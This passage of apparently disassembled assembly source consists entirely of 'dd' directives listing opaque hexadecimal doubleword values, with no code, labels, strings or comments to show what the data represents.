5D90E04Fh, 0A38FA1BCh, 438EBF0Ch dd 0B4C7AC6Ch, 0FF0143D1h, 0AACDD5A2h, 0F7D250B1h, 36DF243Eh dd 99F48FD9h, 0B013B36Bh, 0B893ADADh, 0F66DE8C0h, 5318AE12h dd 0FF5C52A0h, 9355D132h, 7EFFAA1Bh, 2F39676Dh, 9D01C460h dd 65BF5185h, 67252BBh, 0A5AAAD53h, 0C0CEB3B9h, 88A18C36h dd 77DBF873h, 0D63651B2h, 0CBB83896h, 0F0FF88BBh, 65515CF5h dd 51990F38h, 41E5964Fh, 6F8A596Ch, 361F6DE4h, 0D091AA80h dd 4C234663h, 4E4F02A4h, 63E3E07Dh, 74217B34h, 355352D8h dd 9499139Eh, 7080E55Eh, 9B095C2Dh, 0DA8BA078h, 188E6780h dd 24C2CB18h, 6F87278Bh, 529BBD07h, 64F2CD88h, 43AB8FB5h dd 8F87FFF1h, 0FC0DEDA8h, 0CC1AC90Bh, 0FAA675Dh, 7971DEACh dd 0DC414060h, 13AB2F9Dh, 7CF99214h, 769BE377h, 86EBE9EDh dd 0FFD36E8Dh, 0A9F48DC1h, 4F4EABCFh, 5D334B64h, 7C34E971h dd 8F1A95F2h, 0CB422938h, 0ECAF0B0Ch, 0F33A103Ch, 755BC798h dd 549CFDEDh, 44ABABD4h, 1A81E8A7h, 417CBBFFh, 562E2332h dd 25EEB045h, 8BF9CDD2h, 0EDFA7612h, 683E3Ah, 1238898Ch dd 0D2C86D53h, 0DCEDE42Ch, 0E21F4423h, 7A1D8993h, 3ECE2CDCh dd 3BB168DEh, 0AEE6FCE1h, 0CE1C6DECh, 0BE29869Fh, 0C8B53780h dd 0F143E084h, 0C2659D39h, 0C3FC2ABBh, 2220848Ah, 4AAC6051h dd 3A82A816h, 5C187F29h, 6D5DD6B7h, 9BDC0FF3h, 5B088DF7h dd 2AFC1918h, 4EB38E03h, 84987E35h, 7728279Bh, 6B49DCCh dd 1C3DE7B6h, 8D3CDB68h, 0AB401571h, 771BAC19h, 523C9C53h dd 7FBEFC19h, 40168FB8h, 5A9032F7h, 0BBB47D45h, 0E12F39A0h dd 10D6C8ECh, 9571FA19h, 0FFBCD341h, 5BCD76C9h, 5E14B1CDh dd 9778E525h, 0DB7A97C1h, 0B4EB28AFh, 0B19C3761h, 0E5A74458h dd 3B8A56ACh, 0E3C8D4BEh, 0FBC3EDFAh, 0EB6C7524h, 61CAE32Ah dd 7F8E76DDh, 84F022E1h, 5D91E86Ch, 0E3BBC61Dh, 0F6E0D185h dd 0D151691Fh, 3507A60Ah, 0E4CE8588h, 3AB540FEh, 0D9170FF2h dd 3CD41BDFh, 74CAFF0Fh, 5C138998h, 8A18582Bh, 96AB97Ah dd 5B6146F3h, 18C0EC5Bh, 88817B14h, 950923E2h, 4FB88BA8h dd 0DE5FE5DCh, 0AC9FAC2Eh, 0EB69E4DBh, 0CEFA2E32h, 0EF9EED8Bh dd 0B5480725h, 0DF9A8B71h, 8CB950D5h, 32D06EB2h, 3C9C6EE4h dd 910EBA61h, 6994450h, 1AED11AFh, 0C3F6A8AEh, 0B3928D65h dd 0FF1012B6h, 4CD4C4ECh, 96E73E75h, 7EF38DFEh, 6AC6234Bh dd 0C72822BEh, 268BD83Dh, 6ACB4768h, 24093D43h, 0CEC45EC0h dd 21369A17h, 65462C65h, 13BF51C6h, 3C1ACA78h, 82C5C1DFh dd 96EE1F40h, 97C72B71h, 92878A46h, 9B062C6Fh, 8E8B8B9h dd 1E73BF96h, 0D8DA91F4h, 0EBCD1050h, 0C8E16047h, 7A32F40Bh dd 451C1183h, 7A53FC70h, 3198D12Dh, 60F33FFBh, 0AC220A99h dd 1A383531h, 42590BCEh, 0E1FDE70Ch, 0FBDEE9ACh, 0ECF3A3Eh dd 9FB8B905h, 6890661Ch, 0A1F02740h, 500C8B96h, 2F9731D0h dd 18437FB7h, 0A83D4584h, 0ABE6439Ch, 0BB828195h, 8C1EA5A4h dd 0E8640DADh, 92E8BC96h, 0AEE1B355h, 1B085F7Eh, 0A396E9EEh dd 9C35E8BDh, 0A94245EEh, 0FE4CFC37h, 646EDF9Eh, 86005AF3h dd 29A16CF9h, 0A8989CC0h, 0F6A116E0h, 83F54B66h, 0A278AFCDh dd 0BDC65040h, 2A3D2F5Ah, 4DA7061Eh, 7F8ECAC3h, 0E751BE89h dd 91162825h, 2BDA705h, 4981EA9Bh, 4D490381h, 0C02EFB61h dd 69131165h, 116162C6h, 0C4BECAA0h, 0B5712958h, 66C82EDBh dd 8C787A81h, 0E926236Ch, 63EEFE6Fh, 5609CA41h, 828AA079h dd 53A9C9FDh, 57262076h, 297417Fh, 63CE9FEEh, 976D9DB3h dd 421E61B3h, 487C02BCh, 65356A6Fh, 0A53701D1h, 77C4DAF4h dd 9E5DD298h, 0BD4F330Fh, 42BB5D31h, 0F1797247h, 69A9F625h dd 7686E7Eh, 431ECBC8h, 0BADFA334h, 0BA781BBBh, 0AE3D5270h dd 14EDEBE1h, 966BC91h, 0B0FC00Dh, 0C2ECF23Ch, 4DB3629Eh dd 65A3214Fh, 0DADD72B4h, 0E3703FF6h, 270BCCEAh, 0C4D84FA7h dd 9AA91B0Ch, 0A71647DEh, 16A080C5h, 9A3E691Ah, 8073CCA0h dd 0C607CF91h, 6C178EA2h, 25F6AC61h, 0B07D2360h, 212337C2h dd 0EB1A773Fh, 0BD8C8E45h, 0BECF5452h, 0FF02B849h, 5058AD77h dd 76BFCB16h, 83335B39h, 4DADBF0Fh, 503B50AEh, 6BF42870h dd 5A496516h, 809DBD62h, 5547F4C3h, 0B7771650h, 0ADCBD686h dd 8E517193h, 47DD24BFh, 0C1ABBF3Ch, 0B8320A7Fh, 0B35B2EE1h dd 4B8139D3h, 7FF5CFC4h, 7E91C162h, 88CE864h, 1B02979Bh dd 11D9545Bh, 99AD22BCh, 729D9E77h, 7F6D2B08h, 5EB3FF23h dd 0B36A42CBh, 35F5339Ch, 0A752D623h, 0F314010Eh, 0B664661Ch dd 0AAD2386Fh, 8E87EC8Fh, 4C236EDBh, 80D812D1h, 28D15961h dd 47068041h, 64D220F9h, 0F7E4720Bh, 238F280Ah, 0D2E05C6Eh dd 8A7D2665h, 4130B09Ch, 2447E88Dh, 70656C7Eh, 0C6A30572h dd 8E7B0E7Eh, 0E0840DDBh, 0A1DC213Fh, 2DE2FB67h, 0EA82C4C1h dd 677411E5h, 69FEE374h, 63C8FC53h, 0BC4B04E1h, 8A24CCDAh dd 17324166h, 0AE1A863Dh, 5E8FAF66h, 590219EFh, 5BCAB032h dd 7360A1C6h, 2CACCAEBh, 0BA2AE905h, 0BCAF3728h, 0D60C1699h dd 8E32787Eh, 69D395B4h, 5E8C57CBh, 0F971CEB2h, 0F3230D6Bh dd 2B06EF59h, 4F86668Ch, 2C7A01C5h, 0D91CF914h, 0CFD469F4h dd 219C8A92h, 98725A54h, 494DADD4h, 0A0C5F95Dh, 0B25C360Eh dd 5540A69Ah, 12C9B703h, 23F29C26h, 0BCA9ACAFh, 609156ACh dd 5047B9F8h, 0AA5A1BE2h, 757DFE03h, 61E91467h, 4D55B2D1h dd 4492E1BEh, 0C3040201h, 0B1CECC21h, 7C1D384Dh, 0ED3A348h dd 0A6CFE5E0h, 0A197AA8Ah, 707FC8CEh, 2CB03B25h, 0F6B806F7h dd 0DE761CDFh, 0B9D0AE2h dd 0B4C2F3B5h, 1385CFE2h, 0A486EF73h, 197A6C21h, 0ACA3F421h dd 1E45DD1h, 91909077h, 68A6DEF8h, 0CE7A7BDBh, 0BEAA1413h dd 63A874B3h, 0DAA5EC32h, 7BBC7555h, 4FB92F98h, 20652645h dd 4F41DF3Dh, 512D2637h, 48E7E3Eh, 0EFF4BCAh, 8397BE95h dd 8FF1ACFAh, 887D8F1Eh, 923D3030h, 9C56150h, 0EED97BCh dd 3AB94939h, 0BFCAF65h, 471704A6h, 110DF060h, 0D2B9C627h dd 0A0C828B9h, 0D48B4F4Bh, 0E11A6876h, 677EB829h, 0FF459A11h dd 0DEC80AEh, 0E2FEDB44h, 862E0D53h, 4B7E2B98h, 0C4347AB4h dd 558A3ACDh, 0F6E3032Eh, 28F95489h, 59507088h, 7961282Ah dd 0C70A0B2Ah, 5FBC52F7h, 6E8C7ECh, 9CE8CCB9h, 48371AE7h dd 0B79F7C8Eh, 48A77FBBh, 823082FFh, 18E676FBh, 6C5FF6D7h dd 7A509B5Bh, 0FB484343h, 9F7A7483h, 0A7E51266h, 863659B3h dd 69C10625h, 0B6FFC0B3h, 6C8C4CD6h, 0A32ADE8Ah, 2381FD22h dd 0C0D43B2h, 0D2AAC9BBh, 62B0DE0h, 759530B2h, 0ECA777A1h dd 5C340FB8h, 0DA207E00h, 46981066h, 0B3FB6313h, 55BDE9F7h dd 6911FE08h, 0B07F78CFh, 0EDC97114h, 8D4E561Ch, 0B341B26Eh dd 0AD52A253h, 0B4F7A08Eh, 631DCB12h, 86012C66h, 3FE1BCC9h dd 0C6E7DCE4h, 1618A227h, 750D15AEh, 0A31764A4h, 0FAE9B6AEh dd 0B8D0189Dh, 1E6779A5h, 7F397FEFh, 0C035A96Dh, 1A2AB25Ah dd 52AE981Eh, 486DAD7Eh, 4B5B93F2h, 8E63B573h, 0B1D07883h dd 0C3F20CAAh, 7131B2D2h, 0F05E1D03h, 0A87A3EC9h, 605DDB8Fh dd 470946E5h, 0E4568F59h, 63AFD3E3h, 0ABCEE1C9h, 1F43D262h dd 543BA80Bh, 0DE87D8AFh, 0F8AF372Ch, 24D552FDh, 0C26B2674h dd 712E6305h, 1AC5630Bh, 5BCA0A65h, 0C0511848h, 863C7AB5h dd 12A67F0Eh, 0BFCA2496h, 0A78CBB57h, 0F1B89A64h, 32145CA1h dd 1417C304h, 326D021Ch, 0A2D2C168h, 9FE5F050h, 158FAA1h dd 93A430F1h, 999F7791h, 9817B0D7h, 417096Dh, 7C39CC4Ch dd 6CA47C40h, 8C73A7CFh, 50463D39h, 3F736C0Eh, 0ED181247h dd 929000Fh, 5BD1E24Bh, 862B8DA0h, 1D514750h, 9A445EBEh dd 60C24F95h, 0E921C18Fh, 3244E0D3h, 0C214BAE2h, 737A36Eh dd 66A40556h, 8DFC47DEh, 840F1D48h, 6EF0E262h, 10D13729h dd 9B66AF77h, 1A75D659h, 0DFBAB18Eh, 1EE627A4h, 0F828598Bh dd 3F9563ABh, 39E31385h, 0C16B6A61h, 62DD80Bh, 0C8D1EFBAh dd 5C5F502Ch, 1B39366Ah, 0AB3F2159h, 0C5D68C9Dh, 0D2ACF0B5h dd 78BD4CDh, 1055AE17h, 9614D636h, 8C5C4C37h, 1B39EA8Ah dd 0E4E0836Eh, 9EB0B9A8h, 1CAAD034h, 0DBCE840Fh, 55164EA9h dd 2E66427Fh, 0F685A73Dh, 0C3B5362Bh, 0CABC7AA4h, 1ECD37ACh dd 6AFB1BBBh, 0D7FA37CBh, 40E972F7h, 46A481Ah, 85F76655h dd 0AF596273h, 0C56B468Bh, 9C09ED68h, 1E23FDE4h, 0AC5366FDh dd 97AEE9D7h, 4A44949Fh, 0DFB1ED9Ch, 688C496Fh, 0E0ACB243h dd 0CCB17DADh, 64760686h, 0D6182AAAh, 0BADA57F1h, 8D6FE058h dd 27E9DEBFh, 0E999DB41h, 0FDF2AEF5h, 2CB00CFCh, 54599CC3h dd 55488EE6h, 0DA112667h, 9FB8BEDCh, 0B1B7580Ah, 4E9C8A9Ah dd 13E8E550h, 9DA09303h, 83640Fh, 0EAF8EB9Ah, 9DA8837Bh dd 37D3A6AAh, 73319FB3h, 0EA08170Ch, 65B4C32Bh, 4C6AA16Dh dd 0C534B6E5h, 9217BB4Fh, 0D86887CEh, 48301EDh, 335CF22Bh dd 4C1920Fh, 5DB6F68h, 71E80B3Ch, 13A3E8A8h, 282F71A7h dd 0AD87680Ch, 0ECC8C8EDh, 94B0CB99h, 21B8F63Bh, 223BF1Ah dd 0CEF20473h, 0EA99B1DEh, 430A7CC5h, 0DDF2F76Eh, 5DA8E377h dd 26A2FE0Bh, 0CF73DA34h, 80055F93h, 321592FFh, 0FFB882BDh dd 9DF66930h, 0C965F925h, 0DA40015Eh, 0D34EA6B1h, 0DBCEEF7Ah dd 0FA84EBAEh, 0B1AEFC33h, 0DC731149h, 0A2C8AAD3h, 0C62DAE26h dd 5BD4E4C2h, 0B3949B43h, 23216640h, 0B9849867h, 6FCCBC52h dd 99431115h, 3ED6373h, 0F0F38FCEh, 0A06699B9h, 9061876Bh dd 0AA630126h, 45FE6AE8h, 0ED32E33h, 6695B336h, 0A675A0B5h dd 0E7A3AF06h, 3D47E9B1h, 7293E853h, 463EC374h, 913B045Eh dd 0DD2E9A11h, 82640247h, 0A165D688h, 6E5F3348h, 0E83AD0A2h dd 6BD140E1h, 9F64382Ah, 4F2339B0h, 1041732Bh, 7393DF1Eh dd 0ED8ACC41h, 8415769Ah, 0B68749B1h, 251D899h, 0AB8064B0h dd 43C8CF3h, 3EEACB18h, 70DC06F4h, 30F77D2Fh, 0D9AF054Bh dd 0CC812237h, 0A994D6B1h, 0EE1947E0h, 0BC70F0CBh, 0FA626A57h dd 0E3AC09FCh, 0CB0FEA38h, 5A817160h, 48067282h, 808826Fh dd 0F5BB4C08h, 0BC7A7E60h, 474C8EA0h, 10BB392Fh, 60232C95h dd 0E2315B95h, 0AB95B0F1h, 308D9349h, 0FDD6A100h, 0A5AE2A5Dh dd 3D3ABD9Fh, 0C79FEB75h, 0A0A16013h, 1A57FD70h, 12BD012h dd 4D9FBD9Dh, 1E5071B7h, 6A771D73h, 2DA026Dh, 6B881D8Ch dd 49A1E131h, 0DBB4A610h, 213C4CAAh, 0BCA6B16h, 0A6353A3Bh dd 70AB78CAh, 4A3D4713h, 9678FC5Ch, 0F16EF0C2h, 747B114Bh dd 5E4975DCh, 0AE4B0357h, 1042689Ch, 800E0A3Ch, 563C3CEFh dd 0D4AA2C7Fh, 0BFA7F2A6h, 626526DAh, 276945A7h, 5E826C1h dd 0A9B2D2C6h, 46537503h, 0F9B69547h, 87AC25FCh, 84254BB8h dd 46A9D27Dh, 75DC36Fh, 0B3E76E07h, 66AC8C93h, 687B60F6h dd 6906029h, 8D82B98Eh, 9371BC05h, 0B764C15Dh, 43FC9C35h dd 9EB40A42h, 7923FDD1h, 293159F2h, 0C4826C13h, 21EBA1C9h dd 0E781A5Fh, 2DD9CB0Ch, 4EC261BBh, 0C00A7938h, 6453A8B5h dd 41BAC04Bh, 0D07258CAh, 2F99E2E8h, 0C8883DFFh, 0DA10BFF1h dd 3BCA2262h, 97C3DB0Bh, 0C89CFC16h, 9338936Ah, 0B588EF73h dd 0DC6283C7h, 0B0BF69Bh, 1EB5F9FCh, 2C963576h, 2F009379h dd 47F77131h, 8B2A5181h, 70C572D6h, 0F0DE34Ah, 87EA60B5h dd 76ABDB36h, 52073882h, 0BC35FF40h, 78AB6575h, 0C6FEF812h dd 0DD503DA7h, 390B56E4h, 90412D4Ch, 2E204370h, 4B8E1278h dd 7FAC9F46h, 3D6287FDh, 0D3742C40h, 2932F80h, 20AA46E8h dd 0C5FB4E5Ah, 0A15C89C3h, 0FE25CF99h, 823DB742h, 841D774Ah dd 8FA483DCh, 9A7CE45Ch, 92E799CAh, 906E2DF0h, 7DEC9D0Fh dd 0FBEF9643h, 0AFBA41EEh, 22014460h, 4B7C2513h, 0D36D67CEh dd 0F9724DC2h, 25C5502Ch, 0ACBC01DCh, 8CAC774Fh, 0B98CD598h dd 7937EC06h, 0DD506FA4h, 0E285DC90h, 31BA5E83h, 891C314Bh dd 39E65B94h, 304F6BE7h, 147EF9FBh, 0F54DCF78h, 817B7DDFh dd 0DBB3F633h, 3C38687Eh, 0FEECE41h, 807B190Ch, 6B60A2ECh dd 71FE37DDh, 9575558Dh, 0FDFDCA26h, 3D4B5ACAh, 57F128FFh dd 3339F378h, 751CA85Ch, 0E05624A7h, 0DF2288E3h, 164286CDh dd 25C25BBBh, 77C04F3Ah, 3DE2529Fh, 769B1A19h, 68F6B141h dd 0F4C27F4Eh, 4A7B6E7Bh, 41055C71h, 0BE6FED8Ah, 5A3C01D5h dd 0F0DB6972h, 59881524h, 0ACDD9D4Dh, 0DB8716F6h, 9C004D38h dd 0B3714CA2h, 5D056CFFh, 0BBD30BE5h, 0FA1D5568h, 5BA2344Ah dd 15F7F8B9h, 0D67CC4BEh, 4C9BD25Bh, 97615107h, 9AAFB1E1h dd 5FD6A17h, 543A3CA5h, 7796A4FEh, 8D9A35A0h, 8933C99Ch dd 0A03F2B40h, 2C00874Bh, 1F1609EEh, 0D37B1D4Dh, 0E319548Ah dd 8106CB38h, 646CA86h, 0A50AECDFh, 0EA943C67h, 8A303BFh dd 3D8559F0h, 50513F63h, 0B63AABFEh, 1403F3F6h, 0E9C1ADCFh dd 3B9494F2h, 0A92286BAh, 37262ACEh, 0E0A8854Fh, 0CA4FC701h dd 9D1980C0h, 2FC29E58h, 42ABE013h, 110B1E48h, 0FA35CE42h dd 17915FCBh, 0F27C7DF6h dd 2DCE15C5h, 65335265h, 0CF09CE13h, 8C42F376h, 0BC9EECACh dd 1C009C85h, 0E5C2D98Ah, 10205DA4h, 73E21A8h, 0FB1EED83h dd 0CFEE581Ch, 0C690849Fh, 30A1A521h, 0B52D9A98h, 0F43DB794h dd 0D1A58FADh, 0D85A4D1Ah, 48C96C19h, 0C7B04D64h, 67476B3Ah dd 0E205BC88h, 0D4C2A391h, 90CB52EBh, 731539D3h, 160F1626h dd 5D4A2326h, 4052A83Dh, 0B41E2DC8h, 0D6CF0684h, 0B217B6BEh dd 6D8D7A93h, 14DC1D92h, 87EAF3FAh, 49D2D5CDh, 0A9581024h dd 0C81BFE62h, 454B7A9h, 0E1A85A8Eh, 0D6672627h, 3937D21h dd 569F7EAEh, 0C8FBD78h, 8411729h, 7A01D3DBh, 0E58655F7h dd 49F99CF4h, 0CA6C225Bh, 3947F123h, 943D1D8Ch, 0CC0A1200h dd 33A48CA9h, 39C2FF53h, 0FA512007h, 0E847500Fh, 64B85E97h dd 5A7CEB00h, 143C86D8h, 0E44FE4EDh, 0D6BEAF8Ah, 861061A0h dd 55972992h, 0E169D5A0h, 0A80806B1h, 0EF70A7C5h, 0EFF1BFC1h dd 82B11A71h, 0C9B74141h, 0F9A04D3Fh, 9F561A0Dh, 0FF21D95Ch dd 64E6EF9Bh, 0EEC6C81Dh, 0E93251ACh, 0E4CA6FF8h, 3746F580h dd 21AAE238h, 9494C1AEh, 2652C021h, 0E8D47A1Fh, 525C2DE0h dd 0DF7FA7C7h, 0E4904C82h, 4B28F89Ch, 3D6D3D41h, 71AAF612h dd 0BA6CDE6Eh, 95F39706h, 4FCFCDADh, 4D430D24h, 9BD9D665h dd 7544CB7Eh, 0B7E510B3h, 2A5983ACh, 0F3BB0C6Fh, 0C33DE7DBh dd 0A8912379h, 0F41B153Ch, 0DC3947D6h, 400337Ah, 5538291h dd 0ABFC44A3h, 83E68210h, 7AC590A8h, 5C49BC58h, 0E989B17Bh dd 8442B70h, 525AF303h, 5546C2ECh, 2A35AEB1h, 8B181DF6h dd 59B5540Ah, 8BC664A6h, 72E25073h, 672A7534h, 43FFFEFFh dd 0E445A6E8h, 52CF2DB1h, 0E02084F9h, 20FA6C4Dh, 1D4A91h dd 0B005441Ah, 0D1B488A0h, 0C92F92EEh, 3E114756h, 69EDF50Ah dd 0E2A74809h, 8163C3DBh, 0C48C39C0h, 0BDFD4D64h, 231FC846h dd 440C936Ah, 8E13BEC4h, 0CD75A73Bh, 0F7AAAE14h, 530E849Bh dd 6CE5593Fh, 24910EC2h, 0D2882866h, 31408749h, 9531801Ch dd 6F587574h, 6947393Fh, 906CB5D1h, 835DA80h, 0D601044Ch dd 47E772F8h, 95AA75F8h, 0CD6626ACh, 16C6F300h, 39592C3Bh dd 7B6D4D54h, 87CC9510h, 6C47F5B2h, 1CFFB9EAh, 493E9F92h dd 47E86D50h, 0FACD5149h, 0F381615Ah, 53B17E4Ch, 4647BC8Ch dd 59C4A731h, 0EEF833AAh, 2B255396h, 5654E6DCh, 2036ECA4h dd 57F3FD22h, 47B78EDCh, 2C2291EFh, 89807EC3h, 955D2F23h dd 1DFB37F5h, 6E284EABh, 0DD7B61C0h, 0DD48495h, 220E33AAh dd 79BB9F19h, 6B12DE0Ch, 7C041764h, 0A60FA073h, 9ED6A7E1h dd 0B26AB193h, 579E5551h, 0BA12BA85h, 98471EF4h, 962D61DAh dd 0B94F45EFh, 73D60F40h, 0D5173F62h, 5A90F467h, 0C9468ED8h dd 3868795Bh, 85F611B1h, 6DB8E720h, 44AB55DEh, 545E04A2h dd 9F770FEh, 0A2C43C42h, 1847D75Eh, 50666765h, 0F602C4Fh dd 0CAFB768Dh, 6B4B9F66h, 0D490BBD2h, 9B5D1ABFh, 0E1FEB482h dd 37D15372h, 9E20F0A2h, 0CB37FFD2h, 96F14D78h, 99D5DA9Ah dd 3766C8B5h, 619EC44Dh, 0AF930C26h, 0C0CD0DC1h, 69CF55Bh dd 106A396Dh, 0C7CB90FDh, 3E69E5DDh, 8484BBA3h, 0DD087097h dd 0F012A0A9h, 13A376E7h, 0CA3AA8Dh, 0C3625168h, 5426F3B6h dd 2F7FDAC5h, 0D332889Eh, 2927FA54h, 0C2131B1Dh, 2DD4AC57h dd 7A6C48A9h, 9721058Bh, 43CC31E3h, 27F36C80h, 0A71BCC61h dd 66C915CFh, 6D050C5Dh, 549114B1h, 749447DFh, 622D2F8Ch dd 6DFCF295h, 56A0F2B3h, 5FAA623Fh, 0AAD1667Dh, 0DDDE5761h dd 0CC96DD19h, 8A392799h, 0E596B589h, 428AF096h, 72D966E2h dd 7AD7ED74h, 6A2D7FDDh, 9D0F727Ch, 532D8ED5h, 0E101BB08h dd 92648FBh, 8FA925C7h, 1AD8109Dh, 0AFBD5E8Ah, 4D47FB9Ch dd 0D7AC97B9h, 804FC60h, 0BD7866EDh, 0DB6007D2h, 452F8FA0h dd 720067AAh, 0D2B4376Ah, 0A77E68B6h, 0F947EC9Ch, 5A434823h dd 0E0CC52A2h, 4241CB04h, 742093C5h, 0D3800FE2h, 8B8FE34Ah dd 8C1B5C9Ch, 2D390B8Dh, 9F58DD79h, 0C3130F08h, 1D7DB2EEh dd 0A0E4A0EEh, 1D84FBC6h, 614CA342h, 0B2F952C7h, 0EB1B58ADh dd 0D3CBD470h, 7D6EA114h, 6C9BE47Ah, 0A4871794h, 3765116Ah dd 2F0C2E31h, 39836A33h, 36FBD6C4h, 0C6B129E8h, 43D2AB07h dd 828130B1h, 1D243DB1h, 360B92B9h, 0BF42507Dh, 0A9D2F6F2h dd 0EC732990h, 0AE84646Fh, 1D32BC13h, 85933B5h, 0E36F17FBh dd 73CC85F0h, 0B9046891h, 36B07061h, 0AE5DA41Fh, 5FAA5163h dd 0C2A85B95h, 0E170D0A9h, 4803686Ah, 3DDA3C48h, 0AE70DFE4h dd 934A298Eh, 3AF3EA4Fh, 3495FF93h, 9F5B0EBBh, 6D77A703h dd 8F03797h, 9B8D3FAFh, 1E9B400h, 5D5EDBBDh, 0A3578CE8h dd 7F183117h, 71CF0D0Dh, 0B4B230A3h, 0D1979622h, 80BCC43Bh dd 47CEE886h, 6BF15861h, 38B8C43h, 1CD268B2h, 0D4E02431h dd 6AD9740Ah, 0E02BD369h, 29E997D7h, 0AB6E92B5h, 198C12DDh dd 3276619Fh, 517736D3h, 82E45441h, 688DCDB4h, 0CB4F5765h dd 4BB6C0A5h, 0D96121E5h, 0FD4988F8h, 907A1B15h, 4B7FF486h dd 0CBBAAF20h, 0E88CFB38h, 6D320659h, 0BACA71ACh, 0EDBBE87h dd 0D09CE5FBh, 7C81AD5Fh, 57468722h, 0BBBB9F30h, 71BBB086h dd 53E70435h, 4471FDFBh, 4B95C63Fh, 0AB9179CFh, 0FE030736h dd 0D19F9437h, 8EDE95BDh, 98C47C3Dh, 7BF0E34Dh, 90A09008h dd 828F574Fh, 418CF5BAh, 0A815459h, 82D618F6h, 67B7B263h dd 0B3E114F7h, 0A732B00Ah, 5030A863h, 8A61D80Ah, 0A9050BCEh dd 0E30011E2h, 751A3978h, 0E5C20F26h, 34D75F2Ch, 0CF845F99h dd 9A78B1E2h, 8DAB1704h, 53C8375Eh, 0CE4DCD0h, 20C1253Bh dd 891C65D6h, 9EB4F206h, 21E5E1E5h, 0AFC9E7D6h, 302A44EEh dd 0F3EE16C9h, 0F6F9D66Ah, 59ACC367h, 0ACA06AD7h, 7D5A46Ch dd 3465B32Bh, 509B6AD6h, 0D6E6D536h, 0D6B2EE66h, 64315D95h dd 469061FBh, 93AB194Ah, 0A178136Ah, 141A1DA2h, 5F93DDBh dd 0AA18C247h, 0EB3104BBh, 942D2C90h, 716A1E2Bh, 8C613730h dd 0CA703F73h, 354C73B1h, 96BDD463h, 0AAE1523Bh, 0BE3C2854h dd 0B9723C0Dh, 8EBA647Eh, 1B3FDB0Dh, 0BD75B003h, 3BD6A1CDh dd 0AFDB9723h, 0FA186036h, 6B3E7CC1h, 0A3413B0Dh, 3AB6E8EEh dd 14E94166h, 8DB264B4h, 81B3904Ch, 7BB13526h, 2A5AE99Fh dd 0B5E608Ah, 327573ABh, 0B5C399E7h, 0B51C9C8Fh, 0DAFF0D2Dh dd 9B53B5FEh, 61B686F0h, 5C6D3910h, 0C9A3CC31h, 0F2CA4C9Ah dd 0DE34E3B5h, 0B00B164h, 0BB94C67Dh, 4EB86730h, 781380C5h dd 0A0B9CD5Ah, 78528E19h, 796A6F31h, 0EBA9ED95h, 0B7BB22C4h dd 0C18195BAh, 0FBB6B27Eh, 5BDC27A0h, 0F41880D5h, 10D71D52h dd 9ED2AF65h, 0BA39E4E5h, 0A2D9B358h, 0AD3CDB10h, 0C88E8071h dd 2E6C1DB8h, 4690E31Dh, 41AB7951h, 7336C360h, 0B48DAB72h dd 7B75A99Fh, 5680D61Bh, 0FDF29312h, 0EAC65B8Eh, 0D4E58FE9h dd 22FECF19h, 0F905E09Eh, 1B487CF9h, 9F8B8E6Ah, 0D9525344h dd 73D3625Fh, 119A2CC7h, 979024CCh, 71B16BB4h, 0D1B23A9Ch dd 998C0D25h, 610683DEh, 1490EE39h, 0D1B3B79Bh, 0C7F426AEh dd 4F9B4052h, 21808F82h, 26385342h, 87EA534Ch, 0A63AC8DFh dd 4839F506h, 224757B1h, 8C20DA6Ch, 8CC6C1EFh, 5E3BA467h dd 25073810h, 730A93A7h, 0A7B17B9Eh, 0F583EB50h, 0C3BF1618h dd 55224A10h, 0D12544E0h, 0CC41A1EDh, 0BF100BFDh, 0E15ED7B3h dd 378FA588h, 4EB9B6F8h dd 55B213DFh, 0C205829h, 759FEAAh, 0E0A0374Fh, 0EFFDCAFCh dd 3530C710h, 0BF1F4ABh, 1C25BB2Fh, 0C49AEC60h, 9F2F2138h dd 0B1AF675Dh, 0F73F315Fh, 32C1BB5Ch, 674E6937h, 0AB43C6B1h dd 1E000604h, 133CB30h, 809D6962h, 407724Ch, 3B6E334h dd 48D5553Fh, 8B89B6F6h, 0F259833h, 95CDFA00h, 0A95DBDFFh dd 728D697Ah, 49BBE26Eh, 0F650A28Fh, 4A8737D8h, 33DFB33Ah dd 5F779634h, 0CFC6B998h, 0D467CCF2h, 65A5DB6Ah, 0A7173B3h dd 0B19ADCAh, 0A05573A7h, 3DDFEFD8h, 68153F22h, 0A784D4BAh dd 7E98D220h, 0C4FC8440h, 4C81C317h, 5E653454h, 0C407DEC9h dd 9F2D213Dh, 0B419F5Eh, 0BF55184Ch, 3B046AF0h, 0BEF1FAC7h dd 0E814C48Dh, 63187C00h, 7FA3214Ah, 6BA8A147h, 0EC9BFD04h dd 0EBCFB2F7h, 47E11B4Eh, 3ADF687Bh, 0AD46921Fh, 0C632A142h dd 0FC24DCDAh, 0BA1F7636h, 0FEB25F69h, 0AAD0E38Bh, 7DDB2C67h dd 0DA985CFDh, 8CE3020Ah, 0CC7EDE12h, 0CF1C0C3h, 86C6CCF3h dd 7FED13B6h, 16901162h, 584B50F4h, 6C084357h, 0EF48F12Eh dd 1E0ADFE0h, 0D8A0F620h, 0A864FCF7h, 6537A0Bh, 27EB3485h dd 7F4626ACh, 0BA8C6741h, 1E9EE46Fh, 9E406589h, 9E00D835h dd 9C30BF0Ah, 0AB792D86h, 31BF43D6h, 0AE8BE135h, 6D6DA5F9h dd 13EC3682h, 0D0590782h, 0E6C8C4C1h, 8722AD5Bh, 1015B9E1h dd 3ABFE479h, 35E9DEC7h, 9FC73D41h, 82592ECBh, 0E33E128h dd 7C3BB472h, 0E7BE3A9Eh, 5BA30EDFh, 94426AEDh, 0DEF9A36Dh dd 0A58BD87Ah, 0D2E7CC4Dh, 3A415568h, 8D3BE4A3h, 3D986706h dd 897788BEh, 22D07F23h, 3507E434h, 620ABAE0h, 0E90957A7h dd 2928B27Ch, 0B5392784h, 70A4F7E0h, 0CB334026h, 0C1607E8h dd 177CD18Bh, 0BCEA65h, 9662BC4Ch, 0F78209B2h, 6EB99493h dd 547426AEh, 1523847Bh, 19C56656h, 5866236Ah, 3E153668h dd 1BDC625Bh, 0EDC02FAFh, 8BF47CFAh, 0FE6FFD51h, 6E619436h dd 0C41F4C4h, 0EECB5C8h, 690DD576h, 3A746B96h, 46B1AA3Ah dd 0C00A1129h, 5366C3D5h, 4C3B6096h, 89FDE563h, 0FD795494h dd 9A81A80Fh, 917AECD0h, 34D5D5Ah, 27C2787Fh, 289FDB3Ch dd 0A2BCBFA6h, 734899Fh, 0EFBA4B7Ah, 0E0428EAFh, 0B35529C5h dd 9A6C577Ch, 0B44A1C43h, 7D139BEh, 98456B66h, 46552054h dd 0C2E11184h, 3319251Eh, 74EE3153h, 650D6EEFh, 77BA176Fh dd 4888CEE3h, 0FE29EEBFh, 